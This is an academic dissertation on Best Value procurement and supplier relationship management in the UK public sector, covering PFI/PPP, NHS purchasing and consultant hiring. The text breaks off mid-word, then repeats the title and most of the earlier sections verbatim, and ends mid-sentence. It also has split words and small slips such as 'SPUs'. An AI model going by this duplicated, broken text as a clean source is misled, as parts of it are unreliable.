Effect of Supplier Management Procurement on Public Sectors One: Introduction Best Value (BV) was introduced into the public sector in 1998, announced through the government’s white paper Modern Local Government in Touch with the People. This paper introduced extensive reform to local government, including the new initiative of BV. Within this BV is the e-Government, Community Planning, Strategic Partnerships and new political management structures (White Paper 1998). BV replaced the system of Compulsory Competitive Tendering (CCT) (Local Government Act 1999). The aim of BV is to influence the efficient expenditure of public money; estimated to total  £455.2 billion for 2004, forecasted to grow by 3-5% for the period 2005-9 (www.statistics.gov.uk/). The 2001 review of local government procurement in England (Delivering Better Services for Citizens) was published as a consultation paper. The report included the following recommendation; there should be clear political responsibility for procurement, with elected members taking a strategic role in secur ing outcomes. Best Value is about breaking down the boundaries between the public and private sectors in local service delivery (The Byatt Report 2001). Supplier relationship management within the public sector has to an extent been dictated by the central government initiatives evolving the CCT era into the Best Value regime. Best Value has led to distinctively different approaches within the public sector to consultation, competition, performance reviews, and to partnership working. Since the abolition of CCT, evidence is emerging of a new maturity in localgovernments relationships with the private sector. In some authorities, this is evidenced by the fact that they are now recognisingthe inevitability of the mixed economy of provision,and are prepared to work within it (Bovaird, 2000). Procurement, and best value procurement, is a complicated subject to examine, largely because getting the best value for a product or service does not necessarily mean choosing the lowest bidder. Indeed, modern procurement strategies need to consider several interrelated factors, of which costs is just one, when determining and implementing the best value procurement process. This implies a significant increase in the number of issues encountered by many public sector agencies, for who best value procurement and competitive tendering concerns have replaced the simpler days of low bid auctions for services. As a result of these changes, best value procurement has now developed into a significant strategic option, which can provide many advantages to the public sector procurement professionals. However, along with the potential benefits, best value procurement also brings significant related risk factors, especially in the public sector where policy and political considerations can lea d to significantly different interpretations of best value both across public sector organisations and across individual projects within the same organisation. Indeed, when efficiently written and executed, best value contracts can both save money and increase service levels, however by its very nature best value involves a great deal of evaluation and comparison, which can complicate the process to the point where the potential gains are lost. Equally, distortions caused by interpretations and political factors may enter into play when gauging the many factors in addition to price, often leading to debates around different perceptions of what constitutes value for a given product or service. Each best value procurement example is subjective and entirely unique, especially in the public sector, and because of this, communication between end users, procurement professionals, policy makers, and suppliers is of utmost importance. In procurement, as in other fields, people with the right knowledge about the product or service being supplied, and the project for which it is required, will be able to make better decisions than those without the necessary information. As such, when choices must be made, project sponsors, buyers, contract administrators, technical authorities, advisors, bidders, and contractors must be kept in the know. This leads to the hypothesis that supplier relationship management in the public sector will, by virtue of increasing the spread of knowledge along the procurement chain, better help the public sector to achieve best value in its procurement activities. This work intends to test this hypothesis through a detailed search of the existing literature on procurement in the public sector, and the various aspects of procurement which underlie the provision of best value for public sector organisations. This will be achieved using the positivist paradigm and phenomenological hermeneutics to identify, contextualise and analyse the various research on best value, and also to determine how supplier relationship management will impact on this for public sector organisations. Two: Methodology Due to the wide scope of the subject matter of this dissertation, and the specialised nature of procurement within the public sector, the work will be solely based on existing secondary research. As there is no primary research to interpret, the research process will be different from conventional dissertations. As such, the interpretation of the existing research will form the cornerstone of the analysis and also drive any conclusions. This means that the dissertation will not only need to analyse the content of these articles, but also the motive of the authors for writing them, the context and any inherent bias. A research method is needed that will identify any contextual factors or bias and exclude them from the overall results. The chosen method is phenomenological hermeneutics, because this methodology states that literature can only be fully interpreted through an analysis of its contextual basis. The method further argues that, instead of being based on historical or cultura l contexts, each text reflects the mental frame of the writer or writers. As such, phenomenological hermeneutics will be used as the research methodology and philosophy because it allows one to take a text and methodically isolate it from all extraneous things including the subjects biases and allow it to communicate its meaning to the subject (Demeterio, 2001). In order to effectively achieve this goal, the research method shall focus on eliminating any sources of inherent bias in order to draw out its key messages and fit them into a coherent discussion and analysis; however, as Lye (1996) states, In order to understand one must fore understand, have a stance, an anticipation and a contextualization. This is what is known as the hermeneutic circle: one can only know what one is prepared to know, in the terms that one is prepared to know. As such, this work will need to examine the various articles of literature in the context of each other; to enable the construction of a hermeneutic circle and to truly understand the points each author is trying to make. As such, the interaction of the text with the contextual frame of reference given by the literature as a whole will lead to an interpretive paradigm being formed (Lye, 1996), through which it will be possible to draw out the common themes and the salient points from the literature. To appropriately construct this paradigm, it is necessary to understand that each article will be an embodiment of the ideas, beliefs, knowledge and experiences of the author, and that the interpretation of the text will also be an embodiment of the ideas, beliefs, knowledge and experience of the reader; as such, it will be necessary for the author of this work to be aware of the impact that this will have on the interpretation of the articles. This work will embody the style of the author (Lye, 1996), and will likely reveal some significant aspects of the authors views on politics and asset allocation, both conscious and unconscious. This will potentially add a further contextual bias to the interpretation, and one which may be significantly harder to identify, isolate and remove. This potential contextual bias will also make it difficult to effectively apply the logical positivist paradigm, which is strongly based on taking an objective view of reality, rather than a subjective view. The view of positivism that knowledge can only be obtained by the use of data that can be verified by an independent observer (Schrag, 1992) implies that someone attempting to use the positivist paradigm for research purposes must be as objective and unbiased as possible. Indeed, as all phenomena are subject to natural laws that coexist with each other in a logical manner, humans can only discover these laws through the use of inductive and deductive hypotheses and empirical testing of social and scientific theories. As such, the positivist paradigm will have to be carefully applied to all research and interpretation in this work, taking into account the phenomenological hermeneutic interpretation to provide a well rounded argument and conclusion. Regarding the research and data collection methods used, an inductive approach has been taken, which is appropriate as it involves interpretation of the research and data during the gathering, as well as the analysis phase. This has been extended through the use of a standard horizontal and vertical analysis of the existing literature and the initial sources found. The horizontal aspect of the research has involved using the terminology, key words and arguments underlying historical public sector procurement processes and strategies to uncover other related works which discuss the same concepts but with different arguments and in different contexts. The vertical aspect has involved examining the sources cited in the initial sources used to move back up the chain of argument and see how different arguments and theories have been formed and influenced over time. Online searches have also been used to facilitate looking for sources which cite the identified articles and examining how th ese sources have further developed the article. The research and data gathered for this dissertation is composed entirely of secondary research. Initially, the author considered gathering and analysis primary data, however this was deemed to be unfeasible for two reasons. The first reason is that the majority of people working within public sector procurement are busy professionals, working full time to ensure that their procurement goals are met. As such, they would be unlikely to have the time available to assist in the research process, and their responses would be limited by the commercial and confidentiality considerations that underlie most procurement projects. Secondly, as was discussed above, this topic is highly specialised, with practitioners, advisors and academics having significant levels of knowledge and experience. As a result, it is more appropriate, and probably more accurate, to use the results of experienced academics and practitioners, who have carried out significant amounts of in depth, and often independent , research on this subject, as a contextual basis of the positivist paradigm being used; however, research gaps should be discussed when identified. Another important consideration when collecting the data was the time horizon because, as stated above, the UK public sector procurement industry is now in a fundamentally different state than at any time in its prior history following the longest consecutive period under Labour rule. As such, examining research data and literature from too far in the past will likely be of limited use when discussing public sector procurement in the modern economic and political environment. Therefore it has been decided that data will only be used from the period 1997 to 2007, which is the period for which the Labour government has been in power, and within which most of the major reforms underlying the current processes, strategies, and improvements have been drawn up and implemented. This research methodology has produced analyses of about fifty major articles on which the work will be based; together with some other articles defining the research methodology itself, and some sources providing general public sector procurement context and supplementary information. The major articles have been analysed and reviewed in the Structured Literature Review, under each of the main themes identified. This is the most logical method of analysis for this work, as the majority of the articles and surveys carried out around best value in the UK public sectors have been focused on specific areas such as the Public Private Partnership initiatives and the work of the Audit Commission. As such, a longitudinal method of analysis is also useful for the phenomenological hermeneutic approach taken by this work, as it will enable progressive clarity of understanding of the contextual factors underling the literature reviewed. Considering the chosen methodology for this work, this dissertation will have a Structured Literature Review instead of a conventional literature review. This is because the research used is solely secondary; therefore there is no need to conduct a standard literature review, which is usually done to contextualise and direct any primary research and to help explain its results. As this work is not based on primary research, there is no need for a standard literature review, and hence the structured literature review is more appropriate, because it can serve as the findings, results and analysis for the work, which shall be interpreted within the ‘findings’. Because the research philosophy and methodology is phenomenological hermeneutics, an interpretive, positivist method of analysis is required, which is facilitated by a structured approach to the analysis. Finally, as the literature review is being conducted along various themes, it is vital that it is correctly struct ured to ensure that it is analytical rather than just descriptive, and that it maintains some criticality. As such, the structured literature review will involve a thematic/structured review of all the salient articles in the work, analysing the arguments and themes within each article and linking the various articles and themes to each other. The last part of the literature review will be an interpretation of all the articles discussed in the review, identifying common themes, disagreements and any potential implications or conflicts. This analysis will need to consider the various biases, backgrounds and any knowledge of the authors. Many of the major disagreements may not be based on the subject of best value itself, but rather the authors views on the ultimate aims of ‘procurement’ and the importance of the process and methodology underling it. This scrutiny will enable analysis of the validity and reliability of the articles by means of triangulation with the other articles reviewed and analysed. This will further assist in the phenomenological hermeneutic approach taken by this work, and it will facilitate the identification of any bias or conflicts that were not obvious in the initial review of the literature. The methodology will also attempt to identify existing gaps within the literature, and highlight areas where further research could be beneficial to the work. Because most of the literature is written from academic perspectives, there are likely to be gaps around the various objectives and contextual factors of the various public sector organisations; and the various procurement frameworks the have in place; and potentially a lack of in depth research around issues such as political pressure and policy directives. As such, this work will attempt to identify where the existing literature has failed to focus on areas such as these, and how these omissions can be addressed by future studies and research. Three: Literature Best Value Procurement in the UK Public Sector There is a large volume of research focusing on procurement strategies and measures of value for private sector organisations, and recently literature (Male et al, 2007; Lian and Laing, 2004) has begun to focus on the different procurement practices needed by the public sector. Indeed, Lian and Laing (2004) focused on the transactional and relationship based nature of procurement strategies to determine to what extent procurement is different between the public and the private sector. They focused on health services, as public health services are often seen as one of the most complex services provided by the public sector (Male et al, 2007), and their research demonstrated how the differing environmental factors, such as politics and resource allocation in the public sector, impacted on procurement, whilst many service specific factors, such as the need for medicines and temporary staff, were constant across the public and private spheres Indeed, their research demonstrated that poli tics and policy drivers have a major impact on the procurement strategies used by public sector organisations, and that these strategies, and the methods used to engage suppliers, were significantly different from that of private sector organisations. This research ties in with that of Dixon et al (2005) which showed that, whilst the private sector tended to build relationships with suppliers, and leverage these to obtain better value, public sector organisations often based their procurement strategies on the costs of individual transactions. As such, the literature concludes that the private sector’s relationship based procurement strategies offer better value than those of the public sector. However, Lian and Laing (2004) also commented that public policy decisions often restrict public sector organisations from building relationships with their suppliers, and thus the very nature of public sector organisations often hinders or prevents them from achieving best value from their procurement activities. Palaneeswaran et al (2003) criticise this political dimension, claiming that procuring best value should be one of the key objectives (for the) public sector. Their argument is that best value depends upon the use of sound selection strategies, intended to ensure that all the procurement objectives are met, which includes the client and end user demands. As such, best value initiatives should all be geared towards the final state of business, rather than to serve public policy decisions. They conclude that, whilst the overall goal of any public sector organisation should be determined by public policy, best value procurement efforts should all be directed towards that goal and be free from political interference. Unfortunately, as Lian and Ling commented, whilst this may be desirable it is not always possible. Current successes and failures of procurement strategies within central and local government Walker (2006) notes that UK public sector organisations often make their main procurement decisions, for assets and services, at the local level, reflected in the fact that the NHS trusts and local government authorities all have their own procurement departments. Whilst this policy allows individual bodies to select the procurement strategy that best suits their needs, the lack of coordination of the procurement process can lead to inefficient supply markets, with either too few or too many suppliers, which reduces the efficiency of individual suppliers and thus increased the cost to the purchasers. These local procurement decisions are also often superseded or influence by central government guidelines and policies, for example Builders Merchants Journal (2006) detailed a new central government policy on public sector timber procurement. This policy specified that, whilst organisations are still responsible for their own procurement decisions, they must ensure that any timber they procure comes from a legal source, which increases the administrative burden for the local organisations. Furthermore, the government has also specified that organisations should supply sustainable timber wherever possible, however this is not compulsory. Such vague policy guidelines also make it difficult for organisations trying to balance budgets against policy. Equally, such fragmented policies make it hard for public sector organisations to plan long term procurement strategies to respond to market uncertainty. For example, Loveday (2005) reported that the UK public sector was forced to cut back service provision as a result of significant energy price rises which they had not planned for. Whilst this failing is shared with the private sector, which Loveday (2005) stated as having lost over  £1 billion due to a lack of energy procurement strategies and poor energy risk management, the fragmented nature of local procurement means that the public sector is often as much as risk from utility price rises as small businesses, some of which have been almost bankrupted due to rising energy bills in recent years (Loveday, 2005). Perhaps in response to these drawbacks, the literature highlights one of the main strategies used in recent years by the public sector to improve its procurement strategies: the rise of Public Private Partnerships (PPP) and the Private Finance Initiative (PFI), which form long term partnerships with private sector organisations to share the provision of public services. Smyth and Edkins (2007) examined the management of these projects, the relationships between the primary public and private sector partners and the use of the Special Purpose Vehicles (SPUs) to facilitate the partnerships. They found that the management of these relationships had two main dynamics: the contract, transactional, approach of the public sector, and the relationship management approach of the private sector. The combination of these two approaches, and how they influenced the project management discipline within the partnership, showed that they led to greater strategic and tactical consideration being giv en to functions such as procurement, leading to greater value generation. This consideration led to greater collaboration, both between and within the organisations, as they adjusted to new procurement conditions, demonstrating improved proactive and strategic relationship management versus individual public sector organisations (Smyth and Edkins, 2007). Dixon et al (2005) also examined the several case studies of the success of the Private Finance Initiative schemes, focusing on projects related to the construction of infrastructure and other facilities. These studies highlighted several examples of best practice and best value procurement, together with the key critical factors for success in PFI projects, whilst also pointing out some drawbacks and lessons for future projects. Indeed, the literature demonstrated that the key value benefits of the PFI are that the public sector obtains increased value for money, whilst also transferring risk to the private sector partner. However, this transfer is offset by higher procurement and transaction costs, relative to the private sector’s standard costs; partly due to the cultural differences between the public and private sector, and partly due to large-scale nature of PFI projects, which frequently acts as a barrier to entry for some financing partners and suppliers. This highligh ts the need to develop competitive public sector supplier markets, and also to develop the appropriate procurement and project management skills within the public sector to ensure that they can work with private sector partners to ensure best value (Dixon et al, 2005). These show two contrasting views of the PFI/PPP, with Smyth and Edkins (2007) seeing the initiatives as an excellent way to bring private sector efficiency to public sector procurement, but with Dixon et al (2005) claiming that the wide differences in skill sets mean that a lot of the benefits from the private sector methodologies are lost. In response to contrasting views such as these, Li et al (2005) conducted research into the various perceptions of what makes the PFI attractive or unattractive to potential partners as a procurement system for projects. The research was based on a questionnaire / survey of stakeholders in the various projects, with the various potential issues and factors for the survey identified from the existing literature. This research showed that PPP and PFI procurement efficiency can have wide ranging benefits and drawbacks across different areas of a project. In particular, Li et al (2005) found the public / private sector partnerships were perceived as g iving better access to the technology required for projects, and thus leading to better project economy. This in turn drove greater public benefit, helped the public sector avoid transactional costs, and also helped manage or avoid some regulatory and financial constraints, such as the public sector timber procurement policy (Builders Merchants Journal, 2006). However, they also found that participants inexperienced is public / private sector co-operation, the high costs of setting up and participating in the initiatives, the length of time they took, and the tendency to over-commercialise some projects could lead to PPP / PFI procurement being less attractive for both parties. These various factors will impact differently on different projects, thus showing why there are such wide disparities between articles in the literature on the relative merits of PPP and PFI. For example, Weston and Cassidy (2006) claim that the procurement of public facilities and services under the PPP and PFI arrangements provides a wide variety of significant benefits to the public sector, and to the private sector partners. In contrast, Chapman (2006) highlights claims that private sector participation harms services and efficiency, whilst purely focusing on guaranteeing the private sector partners their profits. As a result, the literature concludes that the difference between the success and failure of PFI and PPP schemes depends on a clear and common understanding of the positive and negative factors surrounding PPP / PFI procurement (Li et al, 2005). Another development in procurement is that direct competition between providers, via invitations to tender, is now widely used as the means of choosing suppliers or outsourcers for many public services in the UK. Smyth (1997) describes how competitive tendering can ensure local accessibility and accountability for users, innovation, from providers and help purchasers to reduce procurement and transaction costs. However, in common with many other writers, Smyth (1997) discusses co-operation and collaboration and the interference of policy decisions and the political process, which has led to the emergence of monopolies and inefficient integrated delivery systems, often to the detriment of value in the procurement process (Smyth, 1997). Another effort made by the public sector, specifically the UK NHS, to improve purchasing efficiency is in the use of the NHS Purchasing and Supply Agency, PaSA, to negotiate National Framework Agreements through which individual NHS trusts can procure goods and services at bulk negotiated rates. However, as each NHS trust is a separate legal and managerial entity, responsible only to the Department of Health, a significant number of NHS trusts have resisted the move towards this centralised procurement approach in favour of their own relationships with suppliers. As a result, Cox et al (2005) discussed how PaSA, and the NHS senior management as a whole, have created regional procurement hubs and confederations in order to overcome this inability to enforce the Agreements within individual NHS Trusts. Whilst this was a sensible approach to resolving the lack of effective consolidation of demand at the individual Trust level, the individual procurement practices of regionally based NHS Trusts is still strongly driven by their own supply and demand considerations, and this has created a number of internal demand problems that the regionalised procurement approach has failed to overcome. These include the failure by the Trusts individually, and by the NHS centrally, to control and manage the NHS design and specification process effectively and, in many cases, an inability to measure or collect information on the clinical and cost effectiveness of medical interventions (Cox et al, 2005). As such, whilst these new reforms can be seen as a significant improvement on past collaborative procurement efforts, it is likely that they are still destined to fail, due to the fundamental nature of procurement in the NHS, and the lack of understanding around effectively aligning supply and demand at all levels of the NHS. One final area, in which the public sector is often accused of being inefficient by the Audit Commission, and failing to secure best value procurement, is in the employing of management consultants for project management and other support roles. Corcoran and McLean (1998) investigated the purchase of management consultants in the public sector context, specifically the appointment of consultants to work with government departments, focusing specifically on the particular selection decisions. They found that, in accordance with government policy, many public sector decision makers focus mainly on securing best value for money when procuring consultants, however the criteria and information sources used to make the procurement decisions were often inconsistent. Similar to Cox et al (2005), Corcoran and McLean (1998) found that whilst the government’s public sector procurement principle was well known and relatively well understood, public sector decision makers seemed to be unab le to connect this principle to the procurement process, often claiming that they did not have access to sufficient information to make an informed choice. Paradoxically, the majority of government departments tend to hire management consultants in an attempt to understand the procurement process that has hired the management consultants in the first place. One significant outcome of this is that the decision makers in many government organisations stated that they didn’t believe the selection process and decision around hiring management consultants was difficult, and would be straightforward if sufficient information was made available (Corcoran and McLean, 1998). Future developments in procurement and threats to movement The public sector is increasing beginning to rely on private sector organisations to form supplier consortia for major projects, especially those where the scale is such that individual suppliers are unable to cope with the demand. As the number of projects, especially the major PPP / PFI projects, increases; the demand for these consortia is likely to rise, and Jost (2005) believes that this may become the dominant model for public sector procurement in future. However, in order for this to occur, greater attention must be paid to building successful relationships, both between the consortium and the public sector organisation, and between the members of the consortium itself. Jost (2005) conducted a qualitative study of the existing consortia, and claimed that building trust, engaging staff and reconciling the differing objectives of the partners will be the main factors critical to this development, and a lack of trust among the private sector partners will be the biggest threat t o progress. Indeed, Swan and Khalfan (2007) claim that partnering will continue to grow significantly throughout the UK public sector. They focus on the UK public sector construction industry, and identified that, in future, factors such relationship management with external stakeholders, the general public in the case of public sector projects, will be important to the growth in partnership based projects. Indeed, whilst issues such as cost, quality, timeliness and safety will remain crucial to successful delivery, objectives such as sustainable and environmental development will grow in importance, and failure to acknowledge and address these issues will again pose threats to movement. Swan and Khalfan’s research showed that the industry is already moving forward, with a su Effect of Supplier Management Procurement on Public Sectors Effect of Supplier Management Procurement on Public Sectors One: Introduction Best Value (BV) was introduced into the public sector in 1998, announced through the government’s white paper Modern Local Government in Touch with the People. This paper introduced extensive reform to local government, including the new initiative of BV. Within this BV is the e-Government, Community Planning, Strategic Partnerships and new political management structures (White Paper 1998). BV replaced the system of Compulsory Competitive Tendering (CCT) (Local Government Act 1999). The aim of BV is to influence the efficient expenditure of public money; estimated to total  £455.2 billion for 2004, forecasted to grow by 3-5% for the period 2005-9 (www.statistics.gov.uk/). The 2001 review of local government procurement in England (Delivering Better Services for Citizens) was published as a consultation paper. The report included the following recommendation; there should be clear political responsibility for procurement, with elected members taking a strategic role in secur ing outcomes. Best Value is about breaking down the boundaries between the public and private sectors in local service delivery (The Byatt Report 2001). Supplier relationship management within the public sector has to an extent been dictated by the central government initiatives evolving the CCT era into the Best Value regime. Best Value has led to distinctively different approaches within the public sector to consultation, competition, performance reviews, and to partnership working. Since the abolition of CCT, evidence is emerging of a new maturity in localgovernments relationships with the private sector. In some authorities, this is evidenced by the fact that they are now recognisingthe inevitability of the mixed economy of provision,and are prepared to work within it (Bovaird, 2000). Procurement, and best value procurement, is a complicated subject to examine, largely because getting the best value for a product or service does not necessarily mean choosing the lowest bidder. Indeed, modern procurement strategies need to consider several interrelated factors, of which costs is just one, when determining and implementing the best value procurement process. This implies a significant increase in the number of issues encountered by many public sector agencies, for who best value procurement and competitive tendering concerns have replaced the simpler days of low bid auctions for services. As a result of these changes, best value procurement has now developed into a significant strategic option, which can provide many advantages to the public sector procurement professionals. However, along with the potential benefits, best value procurement also brings significant related risk factors, especially in the public sector where policy and political considerations can lea d to significantly different interpretations of best value both across public sector organisations and across individual projects within the same organisation. Indeed, when efficiently written and executed, best value contracts can both save money and increase service levels, however by its very nature best value involves a great deal of evaluation and comparison, which can complicate the process to the point where the potential gains are lost. Equally, distortions caused by interpretations and political factors may enter into play when gauging the many factors in addition to price, often leading to debates around different perceptions of what constitutes value for a given product or service. Each best value procurement example is subjective and entirely unique, especially in the public sector, and because of this, communication between end users, procurement professionals, policy makers, and suppliers is of utmost importance. In procurement, as in other fields, people with the right knowledge about the product or service being supplied, and the project for which it is required, will be able to make better decisions than those without the necessary information. As such, when choices must be made, project sponsors, buyers, contract administrators, technical authorities, advisors, bidders, and contractors must be kept in the know. This leads to the hypothesis that supplier relationship management in the public sector will, by virtue of increasing the spread of knowledge along the procurement chain, better help the public sector to achieve best value in its procurement activities. This work intends to test this hypothesis through a detailed search of the existing literature on procurement in the public sector, and the various aspects of procurement which underlie the provision of best value for public sector organisations. This will be achieved using the positivist paradigm and phenomenological hermeneutics to identify, contextualise and analyse the various research on best value, and also to determine how supplier relationship management will impact on this for public sector organisations. Two: Methodology Due to the wide scope of the subject matter of this dissertation, and the specialised nature of procurement within the public sector, the work will be solely based on existing secondary research. As there is no primary research to interpret, the research process will be different from conventional dissertations. As such, the interpretation of the existing research will form the cornerstone of the analysis and also drive any conclusions. This means that the dissertation will not only need to analyse the content of these articles, but also the motive of the authors for writing them, the context and any inherent bias. A research method is needed that will identify any contextual factors or bias and exclude them from the overall results. The chosen method is phenomenological hermeneutics, because this methodology states that literature can only be fully interpreted through an analysis of its contextual basis. The method further argues that, instead of being based on historical or cultura l contexts, each text reflects the mental frame of the writer or writers. As such, phenomenological hermeneutics will be used as the research methodology and philosophy because it allows one to take a text and methodically isolate it from all extraneous things including the subjects biases and allow it to communicate its meaning to the subject (Demeterio, 2001). In order to effectively achieve this goal, the research method shall focus on eliminating any sources of inherent bias in order to draw out its key messages and fit them into a coherent discussion and analysis; however, as Lye (1996) states, In order to understand one must fore understand, have a stance, an anticipation and a contextualization. This is what is known as the hermeneutic circle: one can only know what one is prepared to know, in the terms that one is prepared to know. As such, this work will need to examine the various articles of literature in the context of each other; to enable the construction of a hermeneutic circle and to truly understand the points each author is trying to make. As such, the interaction of the text with the contextual frame of reference given by the literature as a whole will lead to an interpretive paradigm being formed (Lye, 1996), through which it will be possible to draw out the common themes and the salient points from the literature. To appropriately construct this paradigm, it is necessary to understand that each article will be an embodiment of the ideas, beliefs, knowledge and experiences of the author, and that the interpretation of the text will also be an embodiment of the ideas, beliefs, knowledge and experience of the reader; as such, it will be necessary for the author of this work to be aware of the impact that this will have on the interpretation of the articles. This work will embody the style of the author (Lye, 1996), and will likely reveal some significant aspects of the authors views on politics and asset allocation, both conscious and unconscious. This will potentially add a further contextual bias to the interpretation, and one which may be significantly harder to identify, isolate and remove. This potential contextual bias will also make it difficult to effectively apply the logical positivist paradigm, which is strongly based on taking an objective view of reality, rather than a subjective view. The view of positivism that knowledge can only be obtained by the use of data that can be verified by an independent observer (Schrag, 1992) implies that someone attempting to use the positivist paradigm for research purposes must be as objective and unbiased as possible. Indeed, as all phenomena are subject to natural laws that coexist with each other in a logical manner, humans can only discover these laws through the use of inductive and deductive hypotheses and empirical testing of social and scientific theories. As such, the positivist paradigm will have to be carefully applied to all research and interpretation in this work, taking into account the phenomenological hermeneutic interpretation to provide a well rounded argument and conclusion. Regarding the research and data collection methods used, an inductive approach has been taken, which is appropriate as it involves interpretation of the research and data during the gathering, as well as the analysis phase. This has been extended through the use of a standard horizontal and vertical analysis of the existing literature and the initial sources found. The horizontal aspect of the research has involved using the terminology, key words and arguments underlying historical public sector procurement processes and strategies to uncover other related works which discuss the same concepts but with different arguments and in different contexts. The vertical aspect has involved examining the sources cited in the initial sources used to move back up the chain of argument and see how different arguments and theories have been formed and influenced over time. Online searches have also been used to facilitate looking for sources which cite the identified articles and examining how th ese sources have further developed the article. The research and data gathered for this dissertation is composed entirely of secondary research. Initially, the author considered gathering and analysis primary data, however this was deemed to be unfeasible for two reasons. The first reason is that the majority of people working within public sector procurement are busy professionals, working full time to ensure that their procurement goals are met. As such, they would be unlikely to have the time available to assist in the research process, and their responses would be limited by the commercial and confidentiality considerations that underlie most procurement projects. Secondly, as was discussed above, this topic is highly specialised, with practitioners, advisors and academics having significant levels of knowledge and experience. As a result, it is more appropriate, and probably more accurate, to use the results of experienced academics and practitioners, who have carried out significant amounts of in depth, and often independent , research on this subject, as a contextual basis of the positivist paradigm being used; however, research gaps should be discussed when identified. Another important consideration when collecting the data was the time horizon because, as stated above, the UK public sector procurement industry is now in a fundamentally different state than at any time in its prior history following the longest consecutive period under Labour rule. As such, examining research data and literature from too far in the past will likely be of limited use when discussing public sector procurement in the modern economic and political environment. Therefore it has been decided that data will only be used from the period 1997 to 2007, which is the period for which the Labour government has been in power, and within which most of the major reforms underlying the current processes, strategies, and improvements have been drawn up and implemented. This research methodology has produced analyses of about fifty major articles on which the work will be based; together with some other articles defining the research methodology itself, and some sources providing general public sector procurement context and supplementary information. The major articles have been analysed and reviewed in the Structured Literature Review, under each of the main themes identified. This is the most logical method of analysis for this work, as the majority of the articles and surveys carried out around best value in the UK public sectors have been focused on specific areas such as the Public Private Partnership initiatives and the work of the Audit Commission. As such, a longitudinal method of analysis is also useful for the phenomenological hermeneutic approach taken by this work, as it will enable progressive clarity of understanding of the contextual factors underling the literature reviewed. Considering the chosen methodology for this work, this dissertation will have a Structured Literature Review instead of a conventional literature review. This is because the research used is solely secondary; therefore there is no need to conduct a standard literature review, which is usually done to contextualise and direct any primary research and to help explain its results. As this work is not based on primary research, there is no need for a standard literature review, and hence the structured literature review is more appropriate, because it can serve as the findings, results and analysis for the work, which shall be interpreted within the ‘findings’. Because the research philosophy and methodology is phenomenological hermeneutics, an interpretive, positivist method of analysis is required, which is facilitated by a structured approach to the analysis. Finally, as the literature review is being conducted along various themes, it is vital that it is correctly struct ured to ensure that it is analytical rather than just descriptive, and that it maintains some criticality. As such, the structured literature review will involve a thematic/structured review of all the salient articles in the work, analysing the arguments and themes within each article and linking the various articles and themes to each other. The last part of the literature review will be an interpretation of all the articles discussed in the review, identifying common themes, disagreements and any potential implications or conflicts. This analysis will need to consider the various biases, backgrounds and any knowledge of the authors. Many of the major disagreements may not be based on the subject of best value itself, but rather the authors views on the ultimate aims of ‘procurement’ and the importance of the process and methodology underling it. This scrutiny will enable analysis of the validity and reliability of the articles by means of triangulation with the other articles reviewed and analysed. This will further assist in the phenomenological hermeneutic approach taken by this work, and it will facilitate the identification of any bias or conflicts that were not obvious in the initial review of the literature. The methodology will also attempt to identify existing gaps within the literature, and highlight areas where further research could be beneficial to the work. Because most of the literature is written from academic perspectives, there are likely to be gaps around the various objectives and contextual factors of the various public sector organisations; and the various procurement frameworks the have in place; and potentially a lack of in depth research around issues such as political pressure and policy directives. As such, this work will attempt to identify where the existing literature has failed to focus on areas such as these, and how these omissions can be addressed by future studies and research. Three: Literature Best Value Procurement in the UK Public Sector There is a large volume of research focusing on procurement strategies and measures of value for private sector organisations, and recently literature (Male et al, 2007; Lian and Laing, 2004) has begun to focus on the different procurement practices needed by the public sector. Indeed, Lian and Laing (2004) focused on the transactional and relationship based nature of procurement strategies to determine to what extent procurement is different between the public and the private sector. They focused on health services, as public health services are often seen as one of the most complex services provided by the public sector (Male et al, 2007), and their research demonstrated how the differing environmental factors, such as politics and resource allocation in the public sector, impacted on procurement, whilst many service specific factors, such as the need for medicines and temporary staff, were constant across the public and private spheres Indeed, their research demonstrated that poli tics and policy drivers have a major impact on the procurement strategies used by public sector organisations, and that these strategies, and the methods used to engage suppliers, were significantly different from that of private sector organisations. This research ties in with that of Dixon et al (2005) which showed that, whilst the private sector tended to build relationships with suppliers, and leverage these to obtain better value, public sector organisations often based their procurement strategies on the costs of individual transactions. As such, the literature concludes that the private sector’s relationship based procurement strategies offer better value than those of the public sector. However, Lian and Laing (2004) also commented that public policy decisions often restrict public sector organisations from building relationships with their suppliers, and thus the very nature of public sector organisations often hinders or prevents them from achieving best value from their procurement activities. Palaneeswaran et al (2003) criticise this political dimension, claiming that procuring best value should be one of the key objectives (for the) public sector. Their argument is that best value depends upon the use of sound selection strategies, intended to ensure that all the procurement objectives are met, which includes the client and end user demands. As such, best value initiatives should all be geared towards the final state of business, rather than to serve public policy decisions. They conclude that, whilst the overall goal of any public sector organisation should be determined by public policy, best value procurement efforts should all be directed towards that goal and be free from political interference. Unfortunately, as Lian and Ling commented, whilst this may be desirable it is not always possible. Current successes and failures of procurement strategies within central and local government Walker (2006) notes that UK public sector organisations often make their main procurement decisions, for assets and services, at the local level, reflected in the fact that the NHS trusts and local government authorities all have their own procurement departments. Whilst this policy allows individual bodies to select the procurement strategy that best suits their needs, the lack of coordination of the procurement process can lead to inefficient supply markets, with either too few or too many suppliers, which reduces the efficiency of individual suppliers and thus increased the cost to the purchasers. These local procurement decisions are also often superseded or influence by central government guidelines and policies, for example Builders Merchants Journal (2006) detailed a new central government policy on public sector timber procurement. This policy specified that, whilst organisations are still responsible for their own procurement decisions, they must ensure that any timber they procure comes from a legal source, which increases the administrative burden for the local organisations. Furthermore, the government has also specified that organisations should supply sustainable timber wherever possible, however this is not compulsory. Such vague policy guidelines also make it difficult for organisations trying to balance budgets against policy. Equally, such fragmented policies make it hard for public sector organisations to plan long term procurement strategies to respond to market uncertainty. For example, Loveday (2005) reported that the UK public sector was forced to cut back service provision as a result of significant energy price rises which they had not planned for. Whilst this failing is shared with the private sector, which Loveday (2005) stated as having lost over  £1 billion due to a lack of energy procurement strategies and poor energy risk management, the fragmented nature of local procurement means that the public sector is often as much as risk from utility price rises as small businesses, some of which have been almost bankrupted due to rising energy bills in recent years (Loveday, 2005). Perhaps in response to these drawbacks, the literature highlights one of the main strategies used in recent years by the public sector to improve its procurement strategies: the rise of Public Private Partnerships (PPP) and the Private Finance Initiative (PFI), which form long term partnerships with private sector organisations to share the provision of public services. Smyth and Edkins (2007) examined the management of these projects, the relationships between the primary public and private sector partners and the use of the Special Purpose Vehicles (SPUs) to facilitate the partnerships. They found that the management of these relationships had two main dynamics: the contract, transactional, approach of the public sector, and the relationship management approach of the private sector. The combination of these two approaches, and how they influenced the project management discipline within the partnership, showed that they led to greater strategic and tactical consideration being giv en to functions such as procurement, leading to greater value generation. This consideration led to greater collaboration, both between and within the organisations, as they adjusted to new procurement conditions, demonstrating improved proactive and 